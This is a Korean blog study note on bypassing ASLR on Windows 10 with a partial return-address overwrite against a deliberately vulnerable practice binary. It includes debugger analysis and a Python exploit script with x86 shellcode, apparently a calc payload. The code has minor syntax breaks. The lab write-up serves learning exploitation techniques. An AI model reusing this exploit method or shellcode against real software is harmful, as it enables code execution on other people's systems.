본문 바로가기

IT/시스템 해킹(System Hacking)

[Windows System Hacking] Bypassing ASLR - 부분 Overwrite

[*] 해당 문서는 서적 [윈도우 시스템 해킹 가이드 - 버그헌팅과 익스플로잇]을 참고하여 작성하였습니다. 

 

Windows System Hacking 연구를 위해서 학습을 진행하며

여러가지 공격기법에 대하여 정리하려고 한다.

해당 문서는 Mitigation중 하나인 ASLR에 대한 우회방법(Bypassing)에 대해 기술한 문서이다.

 

ASLR는 프로세스 실행 시 마다 로드되는 모듈 및 스택등의 메모리 배치를 무작위(Randomization)로 배치하여

공격을 방어하는 기법이다.

 

[실습 바이너리 & 익스플로잇 코드]

Bypassing SafeSEH.zip
1.33MB

 


[ 실습 환경 ] 

테스트 환경 : Windows 10 Pro 64bit

테스트 대상 : reader_full_aslr.exe [ASLR, Non DEP, Non StackGuard, Non safeSEH]

테스트 도구 : Immunity Debugger(mona.py), Metasploit

 

우선 테스트 환경은 Windows 10 Pro 64bit 버전 하에서

보호기법(Mitigation) ASLR이 적용된 바이너리를 익스플로잇(Exploit) 해보려고한다.

테스트 도구로는 다음과 같이 Immunity DebuggerMetasploit을 이용하였다.



[바이너리 분석]

주어진 바이너리는 [Windows System Hacking] Bypassing Stack Guard에서 타겟(Target)이던 바이너리와

동일한 동작을 하는 바이너리이다.

텍스트 파일을 받아서 화면에 해당 텍스트 파일을 출력해주는 프로그램이며

 

그림1. ASLR 적용 확인

다음과 같이 하나의 모듈을 제외하고 ASLR이 적용되어 있다는 점이다.

 

 

이에 대한 우회방법법(ByPass)로 두 가지를 제시할 수 있다.

1. Non ASLR 모듈 사용

2. 부분 오버라이트(Partition Overwrite)

3. Information Leak

 

첫 번쨰 제시된 방법은 로드된 많은 모듈 중 단 하나라도 ASLR이 적용되어 있지 않다면 고정된 주소에

모듈이 로드되기에 보다 페이로드를 범용적으로 사용할 수 있으나 지금까지 수행한 방법이 모두 ASLR을

미적용한 모듈을 이용한 것이기에 이는 논외로 한다.

 

두 번째 제시된 방법은 일반적인 ASLR의 특성상 로드된 모듈이 4바이트의 주소 중 상위 2바이트만 변경되는 것

이용하는 기법이다.

오늘 이용할 기법은 두 번째 기법이므로 해당 방법을 토대로 바이너리 분석을 진행하겠다.

 

그림2. Stack 상황

 

취약점이 발생하는 루틴을 가지는 함수에서 해당 함수를 호출하였던 부분으로 다시 돌아가는 상황에서의

스택의 상황이다.

다음과 같이 0x0020130A가 Return Address로 저장되어 있다.

 

그림3. 레지스터 상황

 

해당 시점의 레지스터 상황을 살펴보면 ECX 레지스터 내부에 Control 가능한 스택의 주소가 들어가있는 것

볼 수 있다.

 

만약 ECX를 이용하여 EIP가 control 가능하다면 이는 익스플로잇(Exploit)으로 이어질 것으로 확인된다.

 

그림4. 유용한 가젯 찾기

 

mona를 이용하여 찾아본 결과 ECX를 EIP로 control 가능한 가젯이 확인 되었다.

 

[바이너리 공격]

찾았던 정보들을 토대로 실제 프로세스를 공격해보도록 한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import struct
 
print "[+] Creat text file..."
 
SHELLCODE  = "\x31\xD2\x52\x68\x63\x61\x6C\x63\x54\x59\x52\x51\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x54\x1F\x24\x89\x54\x24\x50\x89\x7C\x24\x54\x89\x74\x24\x58\x0F\xB7\x2C\x17\x42\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF0\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7\x83\xEC\x08\x8B\x54\x24\x50\x8B\x7C\x24\x54\x8B\x74\x24\x58\x0F\xB7\x2C\x17\x42\x42\xAD\x81\x3C\x07\x45\x78\x69\x74\x75\xF0\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7"
 
 
print "Shellcode Length :"len(SHELLCODE)
 
NOP = "\x90" * 50
DUMMY = "A" * (508-len(NOP+SHELLCODE))
JMP = "\x05\x10"
 
contents = NOP + SHELLCODE + DUMMY + JMP
 
= open("test.txt","w")
f.write(contents)
f.close()
 
cs

 

EIP를 모두 control하는 것이 아니라 공격자가 예상 가능한 주소 2바이트만 over flow를 시켜서 

ecx를 eip로 control하는 형태의 익스플로잇(exploit) 코드이다.

 

그림5 .Exploit

 


 

[고찰]

제한된 조건하에서는 ASLR을 손쉽게 우회하는 기법으로 보이지만

레지스터의 정보나 유용한 가젯이 없는 경우를 고려해보면 제약조건이 있을 것으로 확인된다.